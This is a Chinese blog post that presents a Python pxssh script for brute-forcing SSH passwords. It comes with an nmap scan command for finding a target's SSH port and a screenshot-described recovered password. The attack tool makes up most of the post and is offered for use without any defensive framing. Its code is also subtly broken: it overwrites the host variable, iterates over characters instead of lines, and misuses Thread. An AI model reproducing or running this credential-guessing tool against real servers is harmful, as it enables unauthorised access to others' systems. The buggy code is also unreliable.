服务器暴力破解的程序(python开发)
off999 2024-10-19 07:25 31 浏览 0 评论
如果您对服务器暴力破解和Python相关知识有兴趣,可以加群(526929231)与大神们共同探讨和
首先我们看一下基本的原理以及过程
Paste_Image.png
我们看一下准备工作:
我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:
Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)
Paste_Image.png
大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3
现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784
我们可以开始破解了。
Paste_Image.png
大家可以看到password Found: vagrant这个就是我们的目标机器的密码:
#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器
from pexpect import pxssh
import optparse #处理我们命令行参数的模块
from threading import * #多线程 高并发 可以同时登录多个密码
import time
maxConnections = 5 #执行最大线程数 可以修改
#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False #设置一个初始化值 false后面会用到
Failes = 0 #设置一个初始化值为0
def connect(host, user, password, ports, release): #传了5个变量进去
global Found
global Failes
try:
s = pxssh.pxssh() #把方法绑定到对象s 方便调用
s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去
print '[+] Password Found:' +password #打印匹配到的密码
Found = True #如果等于true就结束
except Exception, e:
if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务
Failes += 1
time.sleep(5) #休息5秒
connect(host,user,password,False) #重新调用connect函数
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
#创建一个对象parser绑定一个帮助信息 自动生成
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-u', dest='user', type='string', help='specify target user')
parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
parser.add_option('-P', dest='ports', type='string', help='specify target ports')
#当我们输入-p之后会把参数赋值给ports
(options, args)=parser.parse_args()
host = options.tgtHost
user = options.user
passwdFiles = options.passwdFile
host = options.passwdFile
ports = options.ports
if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
#判断获取的值是否为空,如果有一个为空就打印帮助信息
print parser.usage #打印帮助信息
exit()
fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象
for line in fn.readline():
if Found:
print "[*] exiting: password Found"
exit()
if Failes > 5:
print "[!]exiting: Too many socket timeouts"
exit()
connection_lock.acquire() #锁定
password = line.strip('\r\n')
print "[-] Testing: " +str(password)
t = Thread(target = connect(), args=(host, user, password, ports, True))
#启动多线程,并传入方法connet函数 args是函数的参数
if __name__ == '__main__':
main()作者:IT蔷薇
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
相关推荐
- win8系统对硬件的要求(win8.1 硬件要求)
-
需要硬件,音响的提升不太大,大灯看个人对灯光的需求,常开豪车的可能会觉得iq灯更舒服,其实标配的大灯满足日常生活没问题了。驾驶辅助包目前不选配的情况下车道保持可以通过刷机刷出来,后期应该能实现交通标志...
- 电信宽带办理套餐(电信宽带办理套餐最低多少)
-
1、每月99元(全国流量20G):送100M宽带+全国流量20G+300分钟通话+光猫免费+4K高清机顶盒免费+免费上门+免费安装(限城中村或部分竞争小区办理)2、每月119元(全国流量40G):送3...
- qq号注册微信(qq号注册微信账号教程)
-
1、直接进入微信,点击下方的注册。2、它要我们输入电话号,别担心,我们按它的来,之后这个手机号是可以解除绑定的,不会有任何影响。3、之后会发验证码给你,输入后就能到这个界面,我的手机是自动输入并跳转到...
- 电脑分辨率在哪里调(win10分辨率怎么调)
-
调整电脑分辨率的方法取决于您使用的是Windows、macOS还是Linux操作系统。以下是针对这三种操作系统的调整分辨率方法:1.Windows操作系统:-在桌面空白处右键单击,选择"显...
- rar暴力破解器安卓版(暴力破解器压缩包)
-
安卓手机锁屏密码忘了,解决方法步骤如下:1.首先拆下手机电池,等待三秒钟以上时再装回电池,同时按下“音量上”和“电源键”并保持10秒钟以上时,手机自动进入recovery模式。2.在recovery模...
- 电脑开机慢是硬盘问题吗(电脑开机慢是硬盘坏了吗)
-
电脑开机有两个含义,第一个就是通电,显示器上有显示;第二个是进系统。 电脑不装硬盘,只能达到第一种效果,系统肯定是进不去的,因为系统是装在硬盘上的,没有硬盘,就没有系统,也就启动不了。 当然,...
- 磁力种子(磁力种子搜索器怎么用)
-
BT的种子是指在BitTorrent文件分享协议中的一个文件或者目录,其中包含有一个或多个文件的元数据,例如文件名、大小、哈希值等信息。一个种子文件可以看做是一个索引,用来描述一个或多个文件的组成和布...
- windows图片查看器无法显示此图片
-
是因为没有正确配置Windows颜色系统默认设备文件造成的,解决该问题的具体步骤是:打开控制面板,查看方式选择“大图标”,单击打开“颜色管理”对话框,单击选中“高级”选项卡,将Windows颜色系统设...
- 深度技术的win7系统怎么样(深度技术win7系统怎么安装教程)
-
所谓的纯净的win7系统应该说的就是原版的win7系统,相对于Ghost版的系统来说,原版的win7系统是微软发布的未经过第三方修改过的纯净版系统,安装好后,它所有的功能和软件都是微软官方的,不会添加...
- 电脑怎么安全模式开机(电脑怎么安全模式开机启动)
-
电脑开机后进入安全模式的步骤如下:重启电脑:在开机时,狂按F8键,即可进入启动菜单选择界面。选择安全模式:在启动菜单选择界面中,可以看到三个版本的安全模式可以选择,方向键上下调整,然后按下回车键即可。...
- win10企业版长期服务版(win10企业版 长期服务版)
-
Windows10企业版和企业长期服务版是微软为企业用户提供的两个版本,二者主要区别如下:1.版本周期不同。企业版(Enterprise)每年更新两次,每个版本的支持期限仅为18个月,而企业长期服...
欢迎 你 发表评论:
- 一周热门
-
-
抖音上好看的小姐姐,Python给你都下载了
-
全网最简单易懂!495页Python漫画教程,高清PDF版免费下载
-
Python 3.14 的 UUIDv6/v7/v8 上新,别再用 uuid4 () 啦!
-
飞牛NAS部署TVGate Docker项目,实现内网一键转发、代理、jx
-
python入门到脱坑 输入与输出—str()函数
-
宝塔面板如何添加免费waf防火墙?(宝塔面板开启https)
-
Python三目运算基础与进阶_python三目运算符判断三个变量
-
(新版)Python 分布式爬虫与 JS 逆向进阶实战吾爱分享
-
失业程序员复习python笔记——条件与循环
-
系统u盘安装(win11系统u盘安装)
-
- 最近发表
- 标签列表
-
- python计时 (73)
- python安装路径 (56)
- python类型转换 (93)
- python进度条 (67)
- python吧 (67)
- python的for循环 (65)
- python格式化字符串 (61)
- python静态方法 (57)
- python列表切片 (59)
- python面向对象编程 (60)
- python 代码加密 (65)
- python串口编程 (77)
- python封装 (57)
- python写入txt (66)
- python读取文件夹下所有文件 (59)
- python操作mysql数据库 (66)
- python获取列表的长度 (64)
- python接口 (63)
- python调用函数 (57)
- python多态 (60)
- python匿名函数 (59)
- python打印九九乘法表 (65)
- python赋值 (62)
- python异常 (69)
- python元祖 (57)
